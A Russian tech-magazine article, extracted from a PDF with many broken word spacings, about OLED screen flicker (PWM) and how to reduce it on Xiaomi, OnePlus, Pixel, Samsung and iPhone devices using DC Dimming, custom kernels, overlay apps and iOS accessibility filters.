кое свой ство не  глаз,  а моз га,  обра баты вающе го пос тупа ющую от  глаз ного
нер ва кар тинку), а от здо ровья глаз поль зовате ля и, так ска зать, оставше гося
«запаса проч ности» по зре нию.

Я отно шусь к катего рии поль зовате лей, которые мер цание отлично видят
и замеча ют. Лич но мне мер цание меша ет, а гла за от него уста ют. Навер ное, я
был  единс твен ным  в  сво ем  городе  челове ком,  который  в  1995  году  менял
виде окар ту в компь юте ре толь ко для того, что бы получить DAC, поз воля ющий
на  раз решении  800  ×  600  дос тичь  час тоты  обновле ния  на  ЭЛТ‐монито ре
не в 56, а в 75 Гц.

С мер цани ем OLED‐экра нов я впер вые стол кнул ся в 2014 году в смар тфо‐ 
нах Nexus 6 и Nokia Lumia 930. И если с мер цани ем смар тфо на с Windows мне
приш лось сми рить ся, то ядро Nexus 6 я успешно модифи циро вал, пол ностью
изба вив шись от мер цания. «А что, так мож но было?» Да — если ты понима‐ 
ешь, чем жер тву ешь, и сог ласен тер петь «поехав шую» цве топе реда чу на низ‐ 
ких уров нях яркости и мирить ся с нерав номер ными залив ками в тенях. В этой
статье я пла нирую рас ска зать о том, как изба вить ся от мер цания в смар тфо‐ 
нах Xiaomi Mi 9, Google Pixel 3 XL и iPhone X, Xs и Xs Max. В качес тве бонуса я
посове тую, как убрать мер цание на смар тфо нах Samsung Galaxy S8, S9 и S10.
Наконец, я поделюсь информа цией о том, как изба вить ся от PWM прак тичес‐ 
ки на любом смар тфо не с Android как с root‐дос тупом, так и без него.

XIAOMI — НОВАТОРЫ ИЛИ НЕТ?
Xiaomi была не пер вой ком пани ей, которая решила изба вить ся от мер цания
OLED‐панелей. Задол го до Xiaomi OLED‐панели без мер цания исполь зовала
ком пания LG в сво их экспе римен таль ных смар тфо нах. Самым ярким пред ста‐ 
вите лем таких устрой ств был LG G Flex 2, весь ма про тиво речи вый смар тфон
с изог нутым экра ном P‐OLED. В этом смар тфо не LG допус тила столь ко оши‐ 
бок, что их перечис ление рас тянулось бы на нес коль ко абза цев. Мы же рас‐ 
смот рим толь ко и исклю читель но экран.

В LG G Flex 2 исполь зовалась гиб кая мат рица P‐OLED, управле ние яркости
в которой на аппа рат ном уров не было реали зова но через изме нение подава‐ 
емо го на пик сели тока. Кон трол лер экра на не был обо рудо ван модулем ШИМ
(широт но‐импуль сная модуля ция, или pulse width modulation, PWM); соот ветс‐ 
твен но, никако го мер цания не было даже на самом низ ком уров не яркости.

Поль зовате ли очень пло хо  вос при няли этот дис плей,  и  их мож но понять:
на низ кой яркости изоб ражение пок рывалось жел тыми раз водами и при обре‐ 
тало  струк туру  «наж дачной  бумаги».  Тех нология  про изводс тва  экспе римен‐ 
таль ных  экра нов  в 2015  году была пло хо отра бота на,  и доволь но боль шому
чис лу  поль зовате лей  не  повез ло  получить  смар тфо ны  с  ярко  выражен ными
дефек тами P‐OLED.

В то же вре мя в LG никак не исполь зовали отсутс твие мер цания в сво их мар‐ 
кетин говых  прог раммах:  не  пуб ликова лись  статьи  о  вре де  мер цания,
не  выходи ли  тех ничес кие  пуб ликации,  подоб ные  тем,  что  дела ет  Google
в  сво ем  бло ге. С  уче том  того  что  в  2015  году  проб лема мер цания  экра нов
была  неиз вес тна  широко му  кру гу  поль зовате лей,  а  два  челове ка  из  трех
не  спо соб ны  заметить  мер цание  све тоди одов  на  час тоте  240  Гц,  экспе‐ 
римент  LG  про валил ся.  Тех нологию  немер цающих  экра нов  OLED  круп ные
про изво дите ли положи ли под сук но.

INFO

А зна ешь ли ты, что льви ная доля OLED‐панелей
для телеви зоров мно гих извес тных про изво дите‐ 
лей — от SONY и Philips до самой LG вклю читель‐ 
но — выпус кает ся на заводах LG? Все эти панели
исполь зуют струк туру пик селей RGBW и не мер‐ 
цают  ни  на  каком  уров не  яркости  —  в  отли чие
от  подав ляюще го  боль шинс тва  LCD‐экра нов
для телеви зоров. Забав ный парадокс, прав да?

Дей стви тель но  ли  OLED  без  мер цания  нас толь ко  пло хи?  В  2015  году  тех‐ 
нология про изводс тва дей стви тель но допус кала гигант ский по сов ремен ным
мер кам  уро вень  раз бро са  парамет ров  меж ду  сосед ними  све тоди ода ми.
Силь нее  все го  раз брос  парамет ров  про являлся  тог да,  ког да  на  све тоди од
подавал ся  очень  низ кий  ток.  А  вот  при  высоком  токе  раз ница меж ду  харак‐ 
терис тиками  сосед них  пик селей  в  гла за  не  бро салась.  Этот  эффект  мож но
срав нить с циф ровым шумом на фотог рафи ях, сде лан ных в тем ноте с корот‐ 
кой выдер жкой. Чем мень ше фотонов попада ет на све точувс тви тель ные ячей‐ 
ки (а для экра на — чем мень ше фотонов излу чает ся све тоди одом), тем боль‐ 
ше веро ятность воз никно вения «циф рового шума».

При  циф ровой  фотосъ емке  для  умень шения  шума  мож но  исполь зовать
более  длин ную  выдер жку.  В  слу чае  же  с  излу чающим  све тоди одом  мож но
уве личить  ток,  зас тавив  све тоди од  све тить ся  ярче,  испуская  зна читель но
боль шее  количес тво  фотонов.  Логич ным  решени ем  ста ло  исполь зование
схе мы управле ния яркостью на осно ве широт но‐импуль сной модуля ции.

Круп ней шим  про изво дите лем  OLED‐панелей  для  смар тфо нов  была
и оста ется ком пания Samsung. Samsung исполь зует AMOLED в собс твен ных
смар тфо нах  и  пос тавля ет  панели  сот ням  про изво дите лей,  вклю чая  Apple
и  Google  (о  Google  —  чуть  ниже,  там  не  все  так  прос то).  В  зависи мос ти
от  тре бова ний  кон крет ного  OEM  раз лича ются  нас трой ки  панелей,  вклю чая
и нас трой ки ШИМ. Эти раз личия про явля ются в том, на каком имен но уров не
яркости  (в  про цен тах  от  мак сималь ной)  закан чива ется  пря мое  управле ние
яркостью и начина ется скваж ность импуль сов, при водя щая к мер цанию.

При мер но так работа ет управле ние яркостью на уров не кон трол лера

Так,  панели  Samsung  в  смар тфо нах  Galaxy  S8+  мер цают  всег да,  даже
на яркости в 99% от мак сималь ной. Убе дить ся в этом мож но на сле дующем
изоб ражении.

В Samsung Galaxy S8+ зна чимая модуля ция дис плея при сутс тву ет даже
при яркости в 75% от мак симума (источник: ixbt.com)

Ис поль зование ШИМ на про тяже нии все го диапа зона зна чений яркости поз‐ 
волило Samsung добить ся  отличной цве топе реда чи  и  рав номер ных  заливок
даже  на  самых  тем ных  учас тках  экра на.  То,  что  заяв ленных  харак терис тик
дос тига ют,  бом барди руя  гла за  поль зовате ля  нечас тыми  ярки ми  вспыш ками
све та,  ком пания дол гое вре мя игно риро вала. Даже в акту аль ном поколе нии
Galaxy S10 про изво дитель исполь зует все ту же схе му управле ния яркостью.

Со  сто роны  Samsung  это  впол не  соз натель ный  под ход,  как  мож но  убе‐ 
дить ся, изу чив патен тную заяв ку  .US9269294B2

Прак тичес ки  все  дру гие  про изво дите ли  исполь зуют  гиб ридный  под ход
к  управле нию  яркостью.  На  высоких  уров нях  яркости  кон трол лер  дис плея
варь иру ет  ток,  подава емый на све тоди оды. Ког да  яркость пада ет до  задан‐ 
ного про изво дите лем уров ня,  кон трол лер перес тает сни жать ток и начина ет
исполь зовать ШИМ.  В  раз ных  моделях  будут  исполь зованы  раз ные  уров ни
отсечки,  которые  могут  зависеть  как  от  харак терис тик  мат рицы,  так  и  от
пожела ния OEM. Так, на момент выхода экран Xiaomi Mi 9 мер цал  точ но  так
же,  как  мер цают  экра ны  в  телефо нах  Samsung.  Apple  нас тро ила  экра ны
iPhone X, Xs и Xs Max таким обра зом, что мер цание ШИМ начина ется на уров‐ 
не яркости 50% и ниже.

На уров нях яркости 50% и выше колеба ния яркости мож но игно риро вать:
их ампли туда невели ка, и све тоди од никог да не гас нет пол ностью.
Видимо го мер цания на этих час тотах нет (источник: ixbt.com)

МОЖНО ЛИ ОБОЙТИСЬ БЕЗ МЕРЦАНИЯ?
Мож но  ли  умень шить  видимое  мер цание,  уве личив  час тоту  пуль саций
до уров ня, ког да даже самые кри тичес ки нас тро енные поль зовате ли не смо‐ 
гут  уви деть  ШИМ?  Мож но  зап росто,  таких  экра нов  мно жес тво.
Еще  в  2015  году  Microsoft  уста нав ливала  OLED‐экра ны  с  час тотой  мер‐ 
цания 500 Гц в смар тфон Lumia 950 (при этом в стар шую модель 950 XL ста‐ 
вили обыч ные экра ны с ШИМ на час тоте 240 Гц). Прак тичес ки все сов ремен‐ 
ные LCD‐телеви зоры мер цают на час тоте 240 Гц, но в SONY не полени лись
уста новить во всех моделях кон трол леры управле ния яркостью либо сов сем
без мер цания, либо с мер цани ем на час тоте 720 Гц  (заметить его дей стви‐ 
тель но очень труд но).

По чему  так  не  дела ют?  Эко номия:  кон трол лер,  работа ющий  на  более
высокой  час тоте,  сто ит  на  нес коль ко  десят ков  цен тов  (для  смар тфо нов)
или даже дол ларов (для телеви зоров) дороже самых дешевых, с мер цани ем
на низ кой час тоте. Это ты ценишь свои гла за дороже пары дол ларов, у про‐ 
изво дите ля  же  —  эко номи ка  мас шта бов:  даже  нес коль ко  десят ков  цен тов,
мас шта биро ван ных  на  мил лионы  устрой ств,  поз волят  положить  в  кар ман
лиш ние  сот ни  тысяч,  а  то  и  мил лионы  дол ларов.  При  этом,  если  зав тра
в какой‐нибудь юрис дикции законо датель но зафик сиру ют санитар ные нор мы
для смар тфо нов, в которых будет огра ничи вать ся пуль сация экра на, про изво‐ 
дите ли  отре аги руют  на  сле дующий  же  день,  начав  уста нав ливать  панели
с соот ветс тву ющи ми нас трой ками.

А мож но ли вооб ще изба вить ся от мер цания, пол ностью переве дя панели
на  пря мое  управле ние  яркостью?  Сегод ня  и  это  про делать  мож но,  а  вот
еще два‐три года назад тебе приш лось бы тер петь слиш ком мно го ком про‐ 
мис сов.  Я  до  сих  пор  пом ню  смар тфон  Lumia  930,  OLED‐экран  которо го
на минималь ной яркости ста новил ся неж но‐розово го цве та — и это нес мотря
на мер цание.

Се год ня же телеви зоры с OLED‐экра нами не мер цают вооб ще. Если тебя
не убеж дают компь ютер ные монито ры, уже мно го лет работа ющие без мер‐ 
цания, то све жий при мер — ком пания SONY, реали зующая имен но такую схе‐ 
му управле ния в сво их телеви зорах на фоне поваль ного увле чения моделя ми
с  ШИМ  в  240  Гц.  Одна ко  такая  схе ма  управле ния  уже  не  прос то  дороже,
а  тре бует  исполь зования  более  качес твен ных  ком понен тов:  све тоди одов
под свет ки  в  панелях  LCD  (это  про ще)  или OLED‐панелей  с  более жес тки ми
стан дарта ми  кон тро ля  качес тва  (имен но  на  этом  про горе ла  и  про дол жает
про горать ком пания LG, которая никак не может наладить выпуск качес твен‐ 
ных OLED‐экра нов для смар тфо нов).

По ка же нам при ходит ся иметь дело с мер цающи ми экра нами — и пытать‐ 
ся что‐то с этим сде лать самос тоятель но.

DC DIMMING ОТ XIAOMI
Нес мотря  на  то  что  Xiaomi  не  была  пер вой  ком пани ей,  отка зав шей ся
от  модуля ции  ШИМ  в  OLED‐дис пле ях  смар тфо нов,  имен но  Xiaomi  пер вой
исполь зовала  немер цающий OLED  в  качес тве  мар кетин говой  фиш ки  смар‐ 
тфо на Black Shark 2 Pro.

Сам  тер мин  DC  Dimming  так же  мар кетин говое  изоб ретение  ком пании.
Ана логич ную мар кетин говую  кам панию про вел  в  свое  вре мя про изво дитель
монито ров BenQ, выпус тив в 2013 году линей ку монито ров Flicker Free. С тех
пор  мер цание  в  компь ютер ных  LCD‐монито рах  пос тепен но  ста ло  дур ным
тоном, от него отка зались прак тичес ки все про изво дите ли.

Ис точник: www.techradar.com

Изоб ретение  Xiaomi  неожи дан но  для  самой  ком пании  отлично  вос при няли
поль зовате ли  и  жур налис ты.  «Мы  тоже!»  —  пос пешила  ком пания  OnePlus,
акти виро вав  подоб ный  режим  в OnePlus  7.  «И мы!» —  ска зала материн ская
ком пания OPPO, выпус тив смар тфон Reno с такой же воз можностью. «И мы
тоже!»  —  при соеди нилась  к  бан кету  Huawei,  выпус тившая 
для смар тфо на P30 Pro.

об новле ние

«Ах  так?»  —  подума ли  в  Xiaomi  и  анон сирова ли  под дер жку  DC  Dimming
для ранее выпущен ных моделей, таких как Mi 9. «Мы не хуже!» — ска зали One‐
Plus, но… ока залось, не все так прос то. Для моделей OnePlus 6 и 6T соот ветс‐ 
тву ющая опция дос тупна, но лишь в  . Дело в том,
что  пря мое  управле ние  яркостью  све тоди одов  на  низ кой  яркости  обна жает
недос татки OLED —  здесь  и  «поехав шая»  цве топе реда ча,  тре бующая  прог‐ 
рам мной ком пенса ции, и струк тура «наж дачной бумаги». В резуль тате более
сов ремен ные мат рицы OnePlus 7 и 7 Pro выг лядят в режиме «без мер цания»
замет но луч ше более ста рых мат риц из OP6 и 6T.

«лабора тор ных» нас трой ках

Рек лама режима DC Dimming для Xiaomi Mi 9 с китай ско го сай та

А  что  же  Xiaomi?  Если  в  смар тфо не  Black  Shark  2  воз можность  пря мого
управле ния  яркостью  заложе на  в  нас трой ки  кон трол лера,  то  в  пре дыду щих
моделях кон трол лер переп рограм мировать не уда лось. DC Dimming для этих
моделей дос тупен в виде сво еоб разно го хака: для акти вации режима нуж но
ввес ти в при ложе нии «Телефон» код  .*#*#3225#*#*

ОБРАТНАЯ СТОРОНА МЕДАЛИ
Итак, мы выяс нили, что в Xiaomi Mi 9 мер цание отклю чает ся чис то прог рам‐ 
мным хаком. Более того, из некото рых осо бен ностей ста новит ся понят но, что
режим DC Dimming, веро ятно, реали зован даже не на уров не ядра, а на уров‐ 
не  framework‐про шив ки  —  где‐то  недале ко  от  «ноч ного»  режима  (Reading
Mode  в  тер миноло гии  Xiaomi),  который  в  ноч ное  вре мя  уво дит  тем перату ру
экра на в теп лые оттенки.

Что зас тавля ет меня сде лать такой вывод? Сле дующие наб людения.
Во‐пер вых,  на  экра не  бло киров ки  (в  момент,  ког да  телефон  заб локиро‐ 

ван) не работа ет ни «ноч ной» режим, ни DC Dimming. В тем ное ноч ное вре мя
на заб локиро ван ном экра не дис плей мер цает, а цве топе реда ча — все в тех
же «холод ных» оттенках без малей шего приз нака «ноч ного» режима. Но сто ит
раз бло киро вать  аппа рат,  как  мер цание  тот час  же  про пада ет,  а  цве та  при‐ 
обре тают янтарный отте нок «ноч ного» режима.

Во‐вто рых, акти вация режима DC Dimming дур но вли яет на фун кцию авто‐ 
мати чес кой яркости: телефон все вре мя стре мит ся сде лать экран мак сималь‐ 
но  тем ным. Пос тоян ные нер вные перед вижения пол зунка яркости помога ют
в течение 10–15 секунд, пос ле чего яркость начина ет мед ленно пол зти вниз.
Оче вид но, что дат чик осве щения и спо соб управле ния яркостью экра на никак
не  свя заны  (это  лег ко  про верить,  уста новив  сто рон нее  при ложе ние
для управле ния яркостью, нап ример Lux Dash); такая ошиб ка воз можна толь‐ 
ко при без гра мот ной реали зации авто яркости.

На конец, никако го  кон тро ля цве топе реда чи на понижен ной яркости  тоже
не наб люда ется: тес товые шаб лоны при акти виро ван ном режиме DC Dimming
выг лядят  точ но  так  же,  как  при  исполь зовании  наложе ния  серого  филь тра
(screen  overlay)  при ложе нием  Lux  Dash,  Darker  или  одним  из  мно жес тва
подоб ных.

В то же вре мя качес тво мат рицы у Mi 9 на высоте: даже на минималь ных
уров нях  яркости  залив ка  экра на  серым  цве том  выг лядит  рав номер но;  нет
ни струк туры «наж дачной бумаги», ни гряз ных жел тых пятен, как в LG G Flex 2.
Одна ко дос тига ется  это  не  сов сем  чес тным обра зом:  на  самых низ ких  зна‐ 
чени ях  яркости  (ниже  10%)  экран  Mi  9  все‐таки  начина ет  мер цать,  так  что
о  пол ном  и  безого вороч ном  отсутс твии  мер цания  говорить  не  при ходит ся.
Xiaomi  кор рек тно  опи сыва ет  «умень шение»  уров ня  мер цания,  но  не  пол ное
избавле ние от него.

В целом решение Xiaomi пор тировать DC Dimming на пре дыду щие модели
мож но  пох валить  за  намере ние  и  популя риза цию  проб лемы —  и  серь езно
пок ритико вать за кри вую реали зацию.

По  ,  в  Xiaomi  сей час  работа ют  над  пол ностью
аппа рат ным решени ем проб лемы мер цания OLED для новых моделей смар‐ 
тфо нов.

име ющей ся  информа ции

ONEPLUS 7 И 7 PRO
Сра зу  пос ле  Xiaomi  о  под дер жке DC Dimming  заяви ла  ком пания OnePlus —
в пер вую оче редь для смар тфо нов OP7 и 7 Pro. Во вто рой вол не (в вышед ших
бук валь но  на  днях  про шив ках  OxygenOS  9.0.16  для  OnePlus  6T
и  9.0.8  для  OnePlus  6)  воз можность  появи лась  и  для  прош логод них  флаг‐ 
манов  ком пании.  Новая  воз можность  по  умол чанию  вык лючена;  ее  мож но
акти виро вать в нас трой ках OnePlus Laboratory.

Ис точник: www.smartprix.com

Ре шение OnePlus так же чис то соф товое. Судя по отзы вам поль зовате лей, DC
Dimming  .  Веро ятно,  это  свя зано
с  тем,  что  встро енный  в  экран  опти чес кий  дат чик  отпе чат ков  паль цев 

. Эту проб лему мож но решить нас трой‐ 
ками  на  уров не  кон трол лера  дис плей ного  модуля;  наде юсь,  кон трол леры
с соот ветс тву ющи ми нас трой ками появят ся в бли жай шем будущем.

не  рас простра няет ся  на  экран  бло киров ки
не

может работать при активном овер лее

GOOGLE PIXEL 3 XL
Ес ли  для  отклю чения  мер цания  на  Xiaomi  Mi  9  тебе  дос таточ но  ввес ти  код
в номеро наби рате ле, то для Pixel 3 XL этот трюк не сра бота ет. В этом смар‐ 
тфо не  исполь зует ся мат рица  от  LG  доволь но  низ кого  качес тва —  замет ный
раз брос  парамет ров  и  уско рен ное  выгора ние  пик селей  в  срав нении
с  панеля ми  от  Samsung,  которые  Google  уста нав лива ет  в  млад шую  модель
Pixel 3. В то же вре мя в отли чие от млад шей модели в Pixel 3 XL исполь зует ся
гиб ридная  схе ма  управле ния  яркостью:  кон трол лер  доволь но  дол го  огра‐ 
ничи вает  ток  перед  тем,  как  все‐таки  акти виро вать ШИМ. Эта  осо бен ность
поз волила раз работ чикам модифи циро вать ядро смар тфо на так, что бы ШИМ
не вклю чал ся вооб ще, а управле ние яркостью всег да про исхо дило нап рямую.

Для отклю чения мер цания на Pixel 3 XL нуж но про делать сле дующее.
1. Раз бло киро вать  заг рузчик.  Это  необ ходимо  для  уста нов ки  кас томно го
ядра.

2. Зай ти на   и ска чать ядро ImageBreaker.XDA
3. Про шить ядро через fastboot или уста новить через TWRP.

К  сожале нию,  ядро  уже  уста рело,  обновле ний  нет.  Увы,  но,  если  ты  хочешь
Pixel 3 XL без мер цания, тебе при дет ся дей ство вать так же, как и поль зовате‐ 
лям дру гих смар тфо нов; об этом ниже.

SAMSUNG GALAXY S8+
Еще в 2017  году для  это го  смар тфо на  энту зиас ты  соб рали  ядро,  в  котором
отклю чено мер цание. Ядро и инс трук ции по его уста нов ке дос тупны на 

.
сай те

XDA

Мер цание до

Мер цание пос ле

Не дос татки: нерав номер ность залив ки на яркости ниже 40 кд/м2.

Проб лема  здесь  та  же,  что  и  с  ядром  для  Pixel  3  XL:  соб ранное  ядро  было
заб рошено и раз вития не получи ло.

Продолжение статьи →
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БЕРЕГИ ГЛАЗА!
АКТИВИРУЕМ DC DIMMING В IPHONE XS,

PIXEL 3 XL, XIAOMI MI 9 И ДРУГИХ СМАРТФОНАХ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ДРУГИЕ СМАРТФОНЫ: РЕШЕНИЕ БЕЗ ROOT
До вось мой вер сии Android для пониже ния яркости мож но было исполь зовать
обыч ные  экранные  филь тры.  С  одной  сто роны,  вклю чать‐вык лючать  филь тр
вруч ную  доволь но  неудоб но;  с  дру гой  —  при ложе ния  вро де  Darker  могут
как акти виро вать ся самос тоятель но в задан ное вре мя суток, так и вре мен но
отклю чать филь тр, если дат чик осве щения показы вает, что сна ружи дос таточ‐ 
но  свет ло.  Наконец,  при ложе ние    пол ностью  авто мати‐ 
зиру ет  про цесс,  поз воляя  задать  минималь ный  уро вень  яркости  (в  про цен‐ 
тах),  ниже  которо го  прог рамма  будет  исполь зовать  серый  филь тр  overlay
перемен ной проз рачнос ти (чем ниже яркость, тем менее проз рачен филь тр).

Lux  Auto  Brightness

В Android 8 Oreo раз работ чики Google огра ничи ли воз можнос ти экранных
филь тров.  В  Android  8  и  9  при ложе ния,  исполь зующие  филь тры,  боль ше
не могут рас простра нить их дей ствие на вер хнюю область с часами и уве дом‐ 
лени ями, что сво дит их прак тичес кую полез ность на нет.

Спус тя  некото рое  вре мя нашел ся обходной путь:  ока залось,  что исполь‐ 
зование сер виса Accessibility поз воля ет это огра ниче ние обой ти. На сегод ня
мне извес тны все го три при ложе ния, которые уме ют исполь зовать для затем‐ 
нения экра на сер вис Accessibility.

Пер вое дос тупно в Google Play, но плат ное:  .Lower Brightness Pro

В  отли чие  от Darker,  Lux  Auto Brightness  и мас сы  подоб ных  им  при ложе ний,
в  этом  дей стви тель но  затем няет ся  и  стро ка  уве дом лений.  К  сожале нию,
управле ние яркостью реали зова но не слиш ком удоб но (кноп ками + и ‐). Авто‐ 
мати чес кое управле ние яркостью сох раня ется. Это неп лохо для Android 8/8.1,
где мож но зафик сировать положе ние пол зунка яркости, но сво дит с ума авто‐ 
мати чес кую регули ров ку яркости в Android 9 и про шив ках, ими тиру ющих  iOS
(то есть  таких,  в  которых авто мати чес кое изме нение  уров ня  яркости  экра на
сдви гает положе ние движ ка управле ния яркостью).

Есть и бес плат ная аль тер натива с XDA — ути лита PWMfree. К сожале нию,
в Google Play при ложе ния нет. Ска чать при ложе ние мож но непос редс твен но
из  .  Нес мотря  на  бес плат ность,  ути лита  пон‐ 
равилась  мне  замет но  боль ше  кон курен та  из  Play  Store:  в  ней  удоб ное
управле ние  яркостью  движ ком  из  панели  уве дом лений,  вклю чение‐вык‐ 
лючение  одной  кноп кой.  Дат чик  осве щения  отклю чает ся  при  акти вации
серого овер лея и вклю чает ся обратно при деак тивации.

вет ки  раз работ чика  на  XDA

Од нако опти маль ным решени ем будет, пожалуй, бес плат ное при ложе ние
, обла дающее рядом дос тоинств по срав нению с кон курен тами:OLED Saver

1. Ра бота ет в том чис ле и в зоне уве дом лений.
2. Есть  нас трой ка  порого вого  зна чения  аппа рат ной  регули ров ки  уров ня
яркости (как в Lux).

3. Есть быс трый перек лючатель для вре мен ного отклю чения сер виса.
4. Ре гули ров ка яркости как пол зунком, так и кноп ками (удоб но).
5. Собс твен ная реали зация авто яркости (она работа ет, хоть и неидеаль но).
6. Нес мотря на то что при ложе ние исполь зует служ бу Accessibility, оно дос‐ 
тупно в Google Play.

ЕСЛИ ЕСТЬ ROOT
Ес ли  на  тво ем  смар тфо не  есть  root‐дос туп,  мож но  исполь зовать  нес коль ко
спо собов  отклю чения ШИМ.  Пер вым  делом  уста нови  при ложе ние 

. Далее  нас трой  зна чение,  ниже  которо го  Lux  будет  исполь зовать
серый филь тр вмес то сис темно го управле ния яркостью.

Lux  Auto
Brightness

Без root‐дос тупа все будет работать уже на этом эта пе, но стро ка сос тояния
и область уве дом лений в Android Oreo и Pie не будут пок рыты овер леем. Нас‐ 
тро ить аль тер натив ный механизм управле ния яркостью мож но в сле дующем
окне.

Ес ли ты уста новил кас томное ядро и оно под держи вает KCAL — выбери соот‐ 
ветс тву ющую  опцию.  Если  же  ядро  не  под держи вает  KCAL,  уста нови
еще одно при ложе ние из Play Store —  . Это при ложе ние исполь зует
свой собс твен ный драй вер для управле ния нас трой ками экра на. Запус ти его
и  пре дос тавь  root‐дос туп,  пос ле  чего  в  нас трой ках  Lux  выбери  пункт
«Интегра ция с CF.Lumen Pro».

CF.Lumen

Да лее  тебе  при дет ся  нат рениро вать  при ложе ние  таким  обра зом,  что бы
при задан ных показа ниях дат чика осве щен ности экран горел с удоб ной тебе
яркостью. Задача решена, авто яркость работа ет.

IPHONE X, XS И XS MAX
Тра дици онно  Apple  исполь зовали  в  iPhone  мат рицы,  выпол ненные  по  тех‐ 
нологии  IPS.  OLED‐экран  впер вые  появил ся  в  iPhone  X,  и  в  нем  же  поль‐ 
зовате ли смар тфо нов ком пании впер вые стол кну лись с мер цани ем. В то же
вре мя  в  iOS  есть  встро енный  механизм,  поз воля ющий  по  желанию  поль‐ 
зовате ля  вклю чать  и  отклю чать  экранный  филь тр  задан ной  плот ности,  что
поз воля ет пол ностью изба вить ся от мер цания дис плея на низ кой яркости.

Как про верить экран на мер цание
На личие или отсутс твие мер цания мож но про верить без спе циаль ного обо‐ 
рудо вания,  исполь зуя  камеру  дру гого  смар тфо на.  Открой  на  смар тфо не
стра ницу  с  белым  фоном  (нап ример,  about:blank  в  бра узе ре  Safari
или  Chrome),  вык лючи  свет  и  понизь  яркость  до  миниму ма.  Если  теперь
навес ти на экран камеру дру гого смар тфо на, то мер цание экра на будет выг‐ 
лядеть при мер но так:

Что бы опре делить, на каком уров не яркости прек раща ется мер цание экра на,
открой «Центр управле ния» и плав но дви гай пол зунок яркости. Исчезно вение
диаго наль ных полос озна чает отсутс твие ШИМ на дан ном уров не яркости.

Эк спе римен таль но уста нов лено, что у iPhone X минималь ный уро вень яркости
без мер цания — 50%. Но если дер жать яркость на этом уров не, то в тем ноте
устрой ством  будет  поль зовать ся  неком фор тно.  Задача  —  понизить
эффектив ный уро вень яркости экра на, но не допус тить мер цания.

Вклю чаем серый филь тр
В нас трой ках iOS есть спе циаль ный режим, который мож но най ти в нас трой‐ 
ках Accessibility → Display Accommodations.

В этом режиме экран искусс твен но затем няет ся прог рам мным филь тром. Я
не сов сем понимаю, для чего нужен этот режим в устрой ствах с мат рицей IPS
(он замет но сни жает яркость белого цве та и умень шает кон трастность экра на
на  том  же  уров не  яркости  под свет ки,  что  при водит  к  уско рен ному  раз ряду
акку муля тора), одна ко для дис пле ев OLED он более чем полезен.

Что бы  вклю чить  филь тр,  зай ди  в  Display  Accommodations.  Теперь  нуж но
нажать на над пись Display Accommodations и акти виро вать пол зунок Reduce
White  Point  (см.  скрин шот).  Зна чение  плот ности  филь тра  под бери  экспе‐ 
римен таль но;  поп робуй  начать  со  зна чения  в  про межут ке  от  85  до  100%
и  нас трой  до  ком фор тно го  для  собс твен ных  глаз  уров ня  (яркость  экра на
в цен тре управле ния дол жна быть на уров не 50%).

От клю чение ШИМ тре мя кли ками
На этом нас трой ка не закон чена; вклю чать и вык лючать филь тр из нас тро ек —
дол го и неудоб но. Рекомен дую повесить соот ветс тву ющую коман ду на трой‐ 
ной клик кноп кой вклю чения экра на.

Для это го най ди в нас трой ках опцию Accessibility Shortcut (никог да не могу
запом нить, в каком имен но пун кте меню она находит ся; про ще все го исполь‐ 
зовать поиск по нас трой кам) и наз начь на нее вклю чение и отклю чение фун‐ 
кции Reduce White Point (см. скрин шоты).

На этом все. Пос ле акти вации этой фун кции мы получи ли  iPhone, мер цание
экра на которо го мож но быс тро вклю чать и отклю чать трех крат ным нажати ем
на боковую кноп ку. Теперь мож но спо кой но поль зовать ся устрой ством в тем‐ 
ноте.

Вы водим вклю чение филь тра в «Центр управле ния»
Ес ли  ты  пред почита ешь  вклю чать/вык лючать  экранный  филь тр  не  кли ком
на кноп ку вклю чения экра на, а коман дой в «Цен тре управле ния» — ты можешь
это сде лать при помощи Accessibility Shortcuts (тре бует ся iOS 12 или 13).

От крой  нас трой ки  и  най ди  Control  Center  (в  меню  General),  далее  Cus‐
tomize Controls.

Икон ка  Accessibility  Shortcuts  находит ся  под  пун ктом  More  Controls.  Наж ми
на Accessibility Shortcuts.

Икон ка Accessibility Shortcuts будет добав лена в спи сок дос тупных эле мен тов
управле ния.

Про верь, что икон ка добави лась в «Центр управле ния». Рас положе ние икон ки
мож но изме нить, перета щив ее в нуж ное мес то.

Для вклю чения или вык лючения экранно го филь тра теперь дос таточ но зай ти
в «Центр управле ния» и нажать на икон ку Accessibility Shortcuts.

ЗАКЛЮЧЕНИЕ
Ши рот но‐импуль сная модуля ция — вещь про тиво речи вая. С одной сто роны,
ШИМ при водит к повышен ной утом ляемос ти и уста лос ти глаз приб лизитель‐ 
но 30% поль зовате лей (осталь ные 70% его не замеча ют, но при дли тель ном
исполь зовании мер цающих устрой ств со вре менем уста ет и их мозг). С дру‐ 
гой — исполь зование ШИМ не толь ко поз воля ет про изво дите лям сэконо мить
нес коль ко десят ков цен тов на каж дом устрой стве, но и дает им воз можность
эффектив но  мас кировать  недос татки  OLED‐панелей.  Впер вые  OLED‐экран
без мер цания  появил ся  еще  в  2015  году,  но  экспе римент  ока зал ся  неудач‐ 
ным: на тот момент тех нология про изводс тва дис пле ев не поз воляла соз дать
панель,  обла дающую  удов летво ритель ными  харак терис тиками  на  низ ких
уров нях яркости.

На чиная при мер но с 2017 года качес тво панелей дос тигло такого уров ня,
что про изво дите ли ста ли мас сово исполь зовать гиб ридную схе му управле ния
яркостью;  в  отно ситель но  све жих  устрой ствах ШИМ  час то  появ ляет ся  лишь
на самых низ ких (25% и ниже) уров нях яркости.

На  сегод няшний  день  Samsung  (LG  пред лагаю  оста вить  в  покое)  выпус‐ 
кает дос таточ но качес твен ные панели OLED, на которых пол ное отклю чение
ШИМ  уже  не  при водит  к  замет ной  на  глаз  дег радации  кар тинки.  Сей час
самое вре мя отка зать ся от ШИМ в OLED‐экра нах. Китай ские про изво дите ли
(Xiaomi, OnePlus, Oppo, Huawei)  уже начали это делать; для круп ных же про‐ 
изво дите лей  про цесс  навер няка  рас тянет ся  на  нес коль ко  лет.  Пред лагаю
взять  заботу  о  сво их  гла зах  в  собс твен ные  руки,  исполь зуя  опи сан ные
в статье методы избавле ния от мер цания.

WWW

•DC Dimming про тив ШИМ, или как регули ровать
яркость AMOLED без мер цания

•What  is  DC  Dimming  &  Why  it’s  Important  for
AMOLED Smartphones?

•Xiaomi and OnePlus add DC‐dimming as an alter‐
native to OLED PWM in their smartphone OS

•Xiaomi  Mi  9  получил  фун кцию  DC  dimming,
берегу щую гла за

•OLED’s  Cause  a  Shift  in  Display  Driving  to  DC
Dimming to Improve Low Luminance Images

